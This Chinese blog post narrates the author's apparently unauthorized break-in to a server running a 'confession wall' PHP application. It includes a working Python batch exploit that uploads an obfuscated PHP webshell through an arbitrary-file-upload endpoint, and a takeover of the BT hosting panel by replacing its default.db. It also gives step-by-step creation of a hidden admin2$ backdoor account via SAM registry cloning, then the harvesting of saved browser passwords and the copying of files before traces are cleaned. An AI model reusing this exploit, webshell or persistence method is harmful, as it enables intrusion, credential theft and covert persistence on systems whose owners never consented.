任意文件上传引发的批量Getshell到服务器 - WileySec's Blog

任意文件上传引发的批量Getshell到服务器

昨天闲来没事干,看了看娱乐网,看到有人发布了表白墙源码,本着这肯定有漏洞的心去测了一下,果然有漏洞存在任意文件上传直接Getshell,而后写了一个一键Getshell脚本批量。


Feature


漏洞位置

Index 控制器下的 Index.php 中有个 upload 方法,存在任意文件上传

04813-zr5eanl4xl.png

代码审计部分就不详细说明了

漏洞利用EXP编写

import requests
import urllib3
import sys
import json

requests.packages.urllib3.disable_warnings()

webshell = """
<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }
"""


files = {
         'file': ('a.php', webshell, 'image/png'),
         }

if __name__ == "__main__":
    url = sys.argv[1]
    try:
        try:
            uploadfile_url = url + "/public/index/index/upload.html"
            response = requests.post(uploadfile_url, files=files, verify=False)
            html = response.text
            jsondata = json.loads(html)
        except:
            uploadfile_url = url + "/index/index/upload.html"
            response = requests.post(uploadfile_url, files=files, verify=False)
            html = response.text
            jsondata = json.loads(html)

        if jsondata['code'] == 0:
            payload_url = jsondata['data']['src'].replace('//', '')
            print("[+] 漏洞存在,WebShell地址 " + payload_url)
        else:
            print("[-] 漏洞不存在!")
    except:
        print("[-] 漏洞不存在或删除了上传模块!")

97741-dkxa3sgdpfw.png

直接使用python的requests模块模拟POST数据包上传文件,直接Getshell

Getshell到登录服务器

48411-by6a9o8jbvl.png

执行不了命令,但是当前用户是 SYSTEM ,这么给力吗,都不用提权了,Windows服务器执行不了命令

一般都是由于PHP7版本的特性或者 disable_function 禁用了函数

72822-r32j65rt2ja.png

Bypass还是不行,可急坏我了

45050-cuaaw7o4cg6.png

在翻文件的时候,发现是宝塔搭建的

去访问看看

34724-ihsf1xzczb.png

不知道入口,进不去

我知道有这个配置文件,在 BtSoft\panel\data\admin_path.pl 这个文件里,下载下来看看

63129-cxh65rautrr.png

得到宝塔路径,访问看看

33385-z05psjgrlt.png

但是不知道账号密码,这可咋办,不着急

查找宝塔账号密码

BtSoft\panel\tools.py 中,发现修改账号密码的地方

81635-ih8qscdumif.png

引用了 db 模块,然后去找db模块看看

BtSoft\panel\class\db.py 发现了连接数据库的代码

68181-71pamxiafr7.png

在这里这么多 .db 文件中,default.db 是最有可能存储着账号密码的数据库文件

15291-bl6xoa9cuoe.png

经过我自己在本地搭了一个宝塔测试,替换 default.db 文件,账号密码确实是在 BtSoft\panel\data\default.db 存储着的,这个是SQLite数据库

既然知道了是SQLite数据库,下载SQLite数据库工具打开,找密码

把服务器上的 default.db 使用工具打开看看

01182-3ucxa44516q.png

账号知道了,密码不知道,MD5加密的,去解密看看

89074-nyd2z4glqws.png

老天并没有眷顾我,解不出来

但是我想了一个思路,替换 default.db 文件,把我自己服务器上宝塔的 default.db 文件替换到对方服务器上宝塔的 default.db 文件,然后使用我自己服务器上宝塔的账号密码去登录对方服务器上的宝塔。

84591-dg1t5z7ijno.png

上传成功了,去登录看下

51252-c7y2th3snov.png

Bingo 登录成功

我以为Windows宝塔也有执行命令的地方,没想到没有,不过我在软件商店发现了一个可以添加系统用户修改系统用户密码的插件

59939-o5z9aaer808.png

我在想这插件不会专门用来给人家做后渗透用的吧,好鸡贼,既然有了那我就不客气了

我直接修改了 Administrator 用户的密码,这里好像只能添加普通用户所以我只好修改管理员密码了

成功登录服务器

11280-1zi7ldtyqme.png

添加隐藏后门用户

net user admin2$ pass123456.. /add /y
net localgroup administrators admin2$ /add

打开注册表路径 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

可以看到刚刚创建的用户,单击即可看到用户类型值,再在 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下找到对应的类型值就是刚刚创建的用户

创建的 admin2$ 用户的类型为 0x3e9,对应的是 000003E9

右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下面的 admin2$ 导出到桌面保存为 1.reg

再右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下面的 000003E9 导出到桌面保存为 2.reg

再右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下面的 000001F4 导出到桌面保存为 3.reg

3.reg 中的F值复制替换到 2.reg 中的F值,也就是把Administrator用户的F值替换到admin2$用户F值

随后删除隐藏用户admin2$

net user admin2$ /del

然后导入admin2$用户注册表信息

regedit /s 1.reg
regedit /s 2.reg

注意:在这里导入需要把 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 这个权限设置为完全控制才可以导入成功,否则导入会出错

导入成功后,命令行执行 net user 是看不到 admin2$ 用户,控制面板 -> 管理账号中也是看不到的,计算机管理-本地用户和组-用户也无法列出该帐户

只有在知道该账户名称才可以看到,并执行 net user admin2$

查看服务器配置

这D盘这么大,一看就不简单

46957-a1ol4h3k5y.png

09859-6emizjg1sj7.png

85755-su3sxw0s1o.png

33765-2uspuhgb433.png

15125-0k8ng1z6lsg5.png

不存在内网

38511-toii5ys1rk.png


打开浏览器看看书签

44712-nrm1c6xcm6.png

一看就是老运维了

在谷歌浏览器的密码管理里还发现了管理员的一些账号密码

32406-qa9y6oywdlm.png

结果打开Xshell,发现了3个linux主机

06104-zoo7zd5vbs.png

然后清理在服务器上弄过的文件,把重要的文件保存到本地,关闭远程桌面,一气呵成,溜了溜了~~

添加新评论

电子邮件地址不会被公开,评论内容可能需要管理员审核后显示。